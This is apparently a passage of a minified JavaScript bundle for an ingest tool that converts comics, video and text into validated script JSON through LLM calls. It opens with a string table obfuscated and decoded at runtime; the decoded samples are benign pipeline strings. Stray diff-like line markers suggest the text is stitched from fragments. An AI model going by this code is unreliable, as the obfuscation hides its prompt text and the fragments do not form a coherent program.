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","CMvNAxn0CNLFzgvSDge","BwvZC2fNzq","Cgf0Aa","C2HHCgu","CgfYC2u","AgfZ","q29TAwmGzxbPC29KzsbMywLSzwqGDhjHBNnJCMLWDcb2ywXPzgf0Aw9UoIa","C2XPy2u","cUMCGoIMGEINO+wgS++8MG","C3vJy2vZCW","AxnZDwvZ","zMLSDgvY","ywn0Aw9UCW","AM9PBG","44cc5PYSifberIdLHBeG","sw5ZCgvJDcbLCc8QlNjLC3bVBNnLlMPZB24Gyw5KihjLCNvUigLUz2vZDcb3AxrOihrOzsbZyw1LihnVDxjJzsbHBMqGD29YA3nWywnLlG","sw52ywXPzcbVCIb1BM9YzgvYzwqGC291CMnLihbHz2vZoIa","oYbKB2n1BwvUDcbOyxmG","Dgv4Da","sw52ywXPzcbVCIbKDxbSAwnHDguGAwDUB3jLzcbWywDLoIa","CgfNzxm","CMvNAw9UCW","BgvUz3rO","ugfNzxmGywjZzw50igzYB20GDhjHBNnJCMLWDdOG","cUw3SUACIEI9Row9LE+8MG","zNjVBq","ihbHz2vZlG","B3bLBMfWAs0ZlJa","CgfNzq","zxjYB3i","BwfW","C3rYAw5NAwz5","ywrK","zgf0yq","C29Tzq","C2nLBMvZ","su5hrvnux0nptuLdx1nfuKLbtf9gquLmruq"];return yl=function(){return e},yl()}async function Bh(e,t,n,o,i,r){let s=Qa,c=ya[s(11)][s(8)],a=await e[s(2)]({media:t,signal:r,system:s(4),user:o+s(16)+i+s(32)+JSON[s(39)](n),responseJsonSchema:Dh[s(5)](c,{target:s(35)})});return c[s(12)](JSON[s(12)](a[s(26)]))}function fn(e,t){e=e-0;let n=yl(),o=n[e];if(fn.pkbepj===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};fn.AcwwSN=i,fn.wSoQuY={},fn.pkbepj=!0}let r=n[0];fn.aUTMuq!==r&&(fn.wSoQuY={},fn.aUTMuq=r);let s=fn.wSoQuY[e];return s===void 0?(o=fn.AcwwSN(o),fn.wSoQuY[e]=o):o=s,o}function Fa(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function gA(e){switch(e.errorCode){case"LLM_CREDENTIAL_MISSING":return{failure_type:"authentication",failure_code:"authentication_failed"};case"LLM_CONFIG_INVALID":return{failure_type:"provider",failure_code:"request_rejected"};case"INGEST_VIDEO_INLINE_TOO_LARGE":return{failure_type:"media",failure_code:"media_too_large"};case"INGEST_COMIC_SERIAL_FAILED":case"INGEST_VIDEO_SERIAL_FAILED":return{failure_type:"pipeline",failure_code:"serial_parse_failed"};case"INGEST_VIDEO_TIMESTAMP_MISSING":return{failure_type:"validation",failure_code:"script_validation_failed"};case"INGEST_SOURCE_MISMATCH":return{failure_type:"pipeline",failure_code:"source_mismatch"};case"INGEST_PIPELINE_MISMATCH":return{failure_type:"pipeline",failure_code:"pipeline_mismatch"};case"INGEST_VALIDATION_FAILED":return{failure_type:"validation",failure_code:"script_validation_failed"};default:return{failure_type:"unknown",failure_code:"unknown"}}}function hA(e){if(e instanceof T)return{failure:e.failure,attempts:e.modelFailures};if(e instanceof S){let t=e.errorCode==="INGEST_VALIDATION_FAILED"||e.errorCode==="INGEST_VIDEO_SERIAL_FAILED"||e.errorCode==="INGEST_COMIC_SERIAL_FAILED";return{failure:Ut(gA(e),{retryable:t,message:e.message}),attempts:[]}}return{failure:Ut({failure_type:"unknown",failure_code:"unknown"},{retryable:!1,message:e instanceof Error?e.message:String(e)}),attempts:[]}}function Ya(e,t,n){let o=hA(e);return{schema_version:1,unit:{kind:"episode",episode:t},phase:n,occurred_at:new Date().toISOString(),...o}}function Kh(e){return e.retryable?"Inspect the episode error sidecar and rerun `scriptctl ingest` to resume from this episode.":e.failure_type==="policy"?"Inspect the provider policy reason in the episode error sidecar; rerunning the same source is unlikely to help.":e.failure_type==="authentication"||e.failure_type==="authorization"?"Fix the provider credential or permission reported in the episode error sidecar before rerunning.":"Inspect the typed episode error sidecar and resolve the terminal failure before rerunning."}function Jh(e,t){return typeof e=="string"&&t.some(n=>n===e)}function mr(e){return typeof e=="string"?e:void 0}function yA(e){if(!Array.isArray(e))return;let t=[];for(let n of e){if(!Fa(n)||typeof n.category!="string"||typeof n.probability!="string"||typeof n.blocked!="boolean")return;t.push({category:n.category,probability:n.probability,blocked:n.blocked})}return t}function wA(e){let t=e.provider_source,n=e.provider_reason;return{provider:mr(e.provider),model:mr(e.model),operation:mr(e.operation),http_status:typeof e.http_status=="number"?e.http_status:void 0,system_code:mr(e.system_code),provider_source:Jh(t,["prompt","candidate"])?t:void 0,provider_reason:Jh(n,["SAFETY","PROHIBITED_CONTENT","BLOCKLIST","SPII","RECITATION","IMAGE_SAFETY","IMAGE_PROHIBITED_CONTENT","IMAGE_RECITATION","ESCALATION","OTHER","UNSPECIFIED","UNKNOWN"])?n:void 0,provider_reason_raw:mr(e.provider_reason_raw),finish_message:mr(e.finish_message),safety_ratings:yA(e.safety_ratings),details:Array.isArray(e.details)&&e.details.every(i=>typeof i=="string")?e.details:void 0}}function fs(e){if(!Fa(e))return null;let t=wu(e.failure_type,e.failure_code);return!t||typeof e.retryable!="boolean"||typeof e.message!="string"?null:Ut(t,{...wA(e),retryable:e.retryable,message:e.message})}function ms(e){if(!Fa(e)||e.schema_version!==1)return null;let t=e.unit;if(!Fa(t)||t.kind!=="episode"||typeof t.episode!="number"||typeof e.phase!="string"||typeof e.occurred_at!="string")return null;let n=fs(e.failure);if(!n||!Array.isArray(e.attempts))return null;let o=[];for(let i of e.attempts){let r=fs(i);if(!r)return null;o.push(r)}return{schema_version:1,unit:{kind:"episode",episode:t.episode},phase:e.phase,occurred_at:e.occurred_at,failure:n,attempts:o}}var jh="comic-1",qa=e=>String(e).padStart(3,"0"),zh=["script.initial.json","id_map.json","validation.json","context.json","v4_identity_map.json","script.json"];function Za(e,t,n){let o=Ka(Mh(e,t.context,n),t.context,"comic",t.identityMap);if(!o.scriptV4||!o.validation.ok)throw new S("Comic script failed validation.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect the current episode response and rerun ingest with the same source and workspace.",data:{actual:o.validation.errors.slice(0,8).map(i=>`${i.path}: ${i.message}`)}});for(let[i,r]of o.scriptV4.episodes.entries())r.synopsis=e[i].output.synopsis;return{...o,scriptV4:o.scriptV4}}function _l(e,t,n){e.writeJson("script.initial.json",t.initial),e.writeJson("id_map.json",t.idMap),e.writeJson("validation.json",t.validation),e.writeJson("context.json",n),e.writeJson("v4_identity_map.json",t.identityMap),e.writeJson("script.json",t.scriptV4)}async function EA(e){let t=vn(e.sourcePath);if(t.kind!=="comic-file"&&t.kind!=="comic-directory")throw new S("Expected PDF comic source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});let n=new mt(ki.resolve(e.workspacePath));n.ensure();let o=n.has("manifest.json")?n.readJson("manifest.json"):null;if(o&&o.pipeline_version!==jh)throw new S("This workspace belongs to another ingest pipeline.",{exitCode:b,errorCode:"INGEST_PIPELINE_MISMATCH",hint:"Choose a fresh workspace."});if(!o&&n.has("script.json"))throw new S("Workspace already contains an unmanaged script.json.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Choose a fresh workspace."});let i=await Nh(t),r=o&&!o.episodes.some(w=>w.original_path)?i:await $h(i,n,e.executor.documentPort("ingest.comic-serial"),e.signal);o&&Uh(o.episodes,r);let s={version:1,pipeline_version:jh,updated:new Date().toISOString(),source:{kind:t.kind,path:ki.resolve(t.path),sha256:_A("sha256").update(r.map(w=>w.sha256).join(`
270
- `)).digest("hex")},episodes:r,...o?.current_error?{current_error:o.current_error}:{}};if(e.force){for(let w of o?.episodes??[])for(let h of["json","response.json","context.md","error.json","input.pdf"])ao.rmSync(n.path(`ep/ep_${qa(w.episode)}.${h}`),{force:!0});for(let w of["checkpoint.json","timings.json",...zh])ao.rmSync(n.path(w),{force:!0});delete s.current_error}n.writeJson("manifest.json",s);let c=n.has("checkpoint.json")?n.readJson("checkpoint.json"):{context:Bo(),identityMap:Do()},a=r.slice(0,c.context.lastEpisode).map(w=>n.readJson(`ep/ep_${qa(w.episode)}.json`)),d=ao.realpathSync(t.path),p=ki.basename(d,t.kind==="comic-file"?ki.extname(d):""),l=new Go(n,e.executor),f=new pr(w=>n.writeJson("timings.json",w));f.phaseStart("serial"),f.serialStart(r.length,r.length);let u="failed",y=0,m=a.length,g;try{if(a.length>0){_l(n,Za(a,c,p),c.context);for(let _ of a)n.clearError(`ep/ep_${qa(_.episode)}.error.json`);s.current_error&&s.current_error.unit.episode<=c.context.lastEpisode&&(delete s.current_error,s.updated=new Date().toISOString(),n.writeJson("manifest.json",s))}else for(let _ of zh)ao.rmSync(n.path(_),{force:!0});for(let _ of r){if(e.signal?.throwIfAborted(),_.episode<=c.context.lastEpisode){e.executor.recordReuse("ingest.comic-serial");let M=Date.now();l.flush({scope:{kind:"episode",episode:_.episode},status:"reused",startedAtMs:M,endedAtMs:M}),f.windowDone(_.episode,_.episode,0,!0);continue}if(e.step&&y>=1)break;let x=Date.now(),E=`ep/ep_${qa(_.episode)}`,A=s.current_error?.unit.episode===_.episode?s.current_error.failure.message:void 0,k=Ja(c.context)+(A?`
267
+ `).trim().slice(0,6e3):"",u=Ag(l);i.writeText("pass1/source.txt",n),i.writeJson("pass1/chunks.json",u.map(P=>({index:P.index,core_line_start:P.core_line_start,core_line_end:P.core_line_end}))),i.writeJson("manifest.json",{version:1,pipeline_version:ll,updated:new Date().toISOString(),source:{path:dr.resolve(t.path),sha256:o,kind:"text",ext:t.ext},chunks:u.length}),s.flush({scope:{kind:"phase",phase:"prepare"},status:"succeeded",startedAtMs:a});let y=0;r.phaseStart("normalize");let m=await Gg(u,e.concurrency??30,async P=>{let ce=`pass2/chunk_${$a(P.index)}.json`,Se=`pass2/chunk_${$a(P.index)}.error.json`;if(i.has(ce)&&!e.force){let Li=Hp(i.readJson(ce),P);return i.clearError(Se),y++,e.executor.recordReuse("ingest.text-normalize"),Li}let{raw:Ot,records:Pn}=await Tg(e.executor,P,e.signal);return i.writeText(ce,Ot),i.writeText(`pass2/chunk_${$a(P.index)}.jsonl`,Ih(Pn)),i.clearError(Se),Pn}),g=m.filter(P=>!P.ok);for(let P of g){let ce=P.error instanceof Error?P.error.message:String(P.error);i.writeJson(`pass2/chunk_${$a(P.index)}.error.json`,{chunk:P.index,error:ce})}if(s.flush({scope:{kind:"phase",phase:"normalize"},status:g.length?"failed":"succeeded"}),g.length>0)throw new S(`${g.length}/${u.length} chunk(s) failed normalization.`,{exitCode:b,errorCode:"INGEST_NORMALIZE_INCOMPLETE",hint:"Inspect pass2/chunk_NNN.error.json and rerun `scriptctl ingest` to resume.",data:{actual:g.map(P=>`chunk ${P.index}`)}});r.phaseEnd("normalize");let w,h,_;if(!e.force&&i.has("body.json"))w=i.readJson("body.json"),h=i.has("pass3/script.jsonl")?is(i.readText("pass3/script.jsonl")).length:0,_=i.has("notes.json")?i.readJson("notes.json").length:0,y++;else{let P=[];for(let Pn of m)Pn.ok&&P.push(...Pn.value);i.writeText("pass3/script.jsonl",Ih(P));let ce=is(i.readText("pass3/script.jsonl")),Se=YI(t.path),Ot=Ig(ce,{title:Se});i.writeJson("notes.json",Ot.notes),w=Ot.script,i.writeJson("body.json",w),h=P.length,_=Ot.notes.length}ng(w,wa(o),d);let x=P=>String(P).padStart(3,"0"),E=(P,ce)=>`serial/win_${x(P)}_${x(ce)}.json`,A={readUpdate:(P,ce)=>i.has(E(P,ce))?i.readText(E(P,ce)):void 0,writeStep:(P,ce,Se,Ot)=>{i.writeText(`serial/context_${x(P)}.md`,Se),i.writeText(E(P,ce),Ot)},readArc:(P,ce)=>{let Se=`serial/arc_${x(P)}_${x(ce)}.md`;return i.has(Se)?i.readText(Se):void 0},writeArc:(P,ce,Se)=>{i.writeText(`serial/arc_${x(P)}_${x(ce)}.md`,Se)},readNameFix:(P,ce)=>{let Se=`serial/fix_${x(P)}_${x(ce)}.json`;return i.has(Se)?i.readText(Se):void 0},writeNameFix:(P,ce,Se)=>i.writeText(`serial/fix_${x(P)}_${x(ce)}.json`,Se)};r.phaseStart("serial");let k=await ch(w,{executor:e.executor,checkpoint:A,force:e.force??!1,...f?{sourceRef:f}:{},onWindow:P=>{P.index===0&&r.serialStart(P.total,P.totalEpisodes),r.windowDone(P.startEp,P.endEp,P.ms,P.cached);let ce=P.startEp===P.endEp?{kind:"episode",episode:P.startEp}:{kind:"episode-range",startEpisode:P.startEp,endEpisode:P.endEp},Se=Date.now();s.flush({scope:ce,status:P.cached?"reused":"succeeded",startedAtMs:Se-P.ms,endedAtMs:Se})},...e.signal?{signal:e.signal}:{}}),N=k.doc;y+=k.reused,r.phaseEnd("serial"),r.phaseStart("govern");let{script:M,idMap:I}=Na(N);i.writeJson("id_map.json",I);let O=wt(M);if(!O.ok)throw i.writeJson("validation.json",O),new S("Intermediate script failed validation before v4 identity assignment.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect validation.json.",data:{actual:O.errors.slice(0,5).map(P=>`${P.path}: ${P.message}`)}});let U=!e.force&&i.has("v4_identity_map.json")?i.readJson("v4_identity_map.json"):void 0,C=sr(Tt(N),U,k.identityKeys),R=C.script,K=Pe(R),Z=[],Re=Date.now(),ie="failed";try{if(K.ok){let P=await yh(i,R,e.executor,{force:e.force??!1,...e.signal?{signal:e.signal}:{}});Z=wh(P.report)}ie="succeeded"}finally{s.flush({scope:{kind:"phase",phase:"asset-audit"},status:ie,startedAtMs:Re})}let j={...K,warnings:[...K.warnings,...rr(R),...Z]};if(i.writeJson("pass5/script.json",R),i.writeJson("v4_identity_map.json",C.identityMap),i.writeJson("validation.json",j),!j.ok)throw new S("Final script.json failed v4 validation.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect validation.json.",data:{actual:j.errors.slice(0,5).map(P=>`${P.path}: ${P.message}`)}});i.writeJson("script.json",R),r.phaseEnd("govern"),r.finish();let vt=R;return 